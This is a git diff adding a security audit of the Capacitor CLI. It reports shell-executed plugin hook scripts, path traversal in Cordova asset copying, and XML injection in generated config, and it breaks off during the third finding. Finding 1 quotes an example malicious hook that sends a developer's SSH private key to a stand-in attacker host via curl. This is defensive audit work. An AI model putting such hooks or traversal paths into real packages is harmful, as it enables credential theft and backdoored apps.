diff --git a/SECURITY_AUDIT_CLI.md b/SECURITY_AUDIT_CLI.md new file mode 100644 index 000000000..97e7e1917 --- /dev/null +++ b/SECURITY_AUDIT_CLI.md @@ -0,0 +1,213 @@ +# Security Audit: Capacitor CLI + +**Scope:** `cli/src/` — data flow from user inputs (CLI args, `capacitor.config.ts`, `package.json`, Cordova `plugin.xml`) to dangerous sinks (`spawn`, `fs.copy`, `writeFile`, `require()`) + +**Date:** 2026-08-09 + +--- + +## Finding 1: Arbitrary Command Execution via Hook Scripts (HIGH) + +**File:** `cli/src/common.ts:160-206` + +**Vulnerability:** The `runPlatformHook` function reads `package.json` from any resolved plugin directory and executes the value of hook scripts (e.g. `capacitor:copy:before`, `capacitor:sync:after`) through a shell. + +```typescript +const cmd = pkg.scripts?.[hook]; // line 173 — value from package.json +// ... +const p = spawn(cmd, { + stdio: 'inherit', + shell: true, // line 181 — shell interpretation enabled + cwd: platformDir, +}); +``` + +**Data flow:** +1. Attacker publishes npm package with `"capacitor:copy:before": "curl attacker.com/exfil?d=$(cat ~/.ssh/id_rsa | base64)"` in `package.json` +2. Victim installs it as a dependency (appears as Capacitor plugin) +3. On `npx cap copy`, `sync`, `update`, `add`, or `run`, `runHooks()` iterates ALL plugins (line 153-157) and calls `runPlatformHook` +4. The shell command from the malicious `package.json` executes with the developer's full privileges + +**Impact:** Full RCE on the developer's machine. The attacker-controlled string is run through the system shell with no sanitization. + +**Triggered by:** `cap copy`, `cap sync`, `cap update`, `cap add`, `cap run` — any operation that runs hooks. + +**Aggravation:** The hook is invoked from plugin directories too (not just the project root), so any npm dependency that appears in the project's `dependencies`/`devDependencies` and has a `capacitor` manifest gets its hooks executed. + +--- + +## Finding 2: Path Traversal in Cordova Plugin Asset Copying (HIGH) + +**File:** `cli/src/cordova.ts:136-140` + +**Vulnerability:** Cordova plugin `` elements specify a `target` attribute that is joined directly to the web directory without path normalization or traversal check. + +```typescript +const assets = getAssets(p, platform); +await Promise.all( + assets.map(async (asset: any) => { + const filePath = join(webDir, asset.$.target); // line 138 + await copy(join(p.rootPath, asset.$.src), filePath); // line 139 + }), +); +``` + +**Data flow:** +1. Malicious Cordova plugin declares in `plugin.xml`: + ```xml + + ``` +2. Victim runs `cap copy` or `cap sync` +3. `join(webDir, "../../App/AppDelegate.swift")` resolves outside the web directory +4. The malicious file from the plugin overwrites arbitrary files within the native project + +**Impact:** Arbitrary file overwrite. Can overwrite native source files to inject backdoor code that ships in the built app (e.g. overwriting `AppDelegate.swift` or `MainActivity.java`). Also exploitable via `resource-file` target in `android/update.ts:351-355`. + +**Secondary vector in `android/update.ts:344`:** +```typescript +const target = sourceFile.$['target-dir'].replace('app/src/main/', '').replace('src/', baseFolder); +await copy(getFilePath(config, p, sourceFile.$.src), join(pluginsPath, target, fileName)); +``` +The `replace()` only strips specific prefixes — `../` sequences elsewhere in `target-dir` are preserved. + +--- + +## Finding 3: XML Injection in Generated Config Files (MEDIUM) + +**File:** `cli/src/cordova.ts:207-239` + +**Vulnerability:** `autoGenerateConfig` builds XML via string interpolation without XML-escaping user-controlled values from `capacitor.config.ts`. + +```typescript +// line 210-212 +accessOriginString = await Promise.all( + config.app.extConfig.cordova.accessOrigins.map(async (host): Promise => { + return `\n `; + }), +); + +// line 227-229 +pluginPreferencesString = await Promise.all( + Object.entries(config.app.extConfig.cordova.preferences).map(async ([key, value]): Promise => { + return `\n `; + }), +); +``` + +**Attack chain:** +1. Config file sets: `cordova: { preferences: { "evil\"/>malicious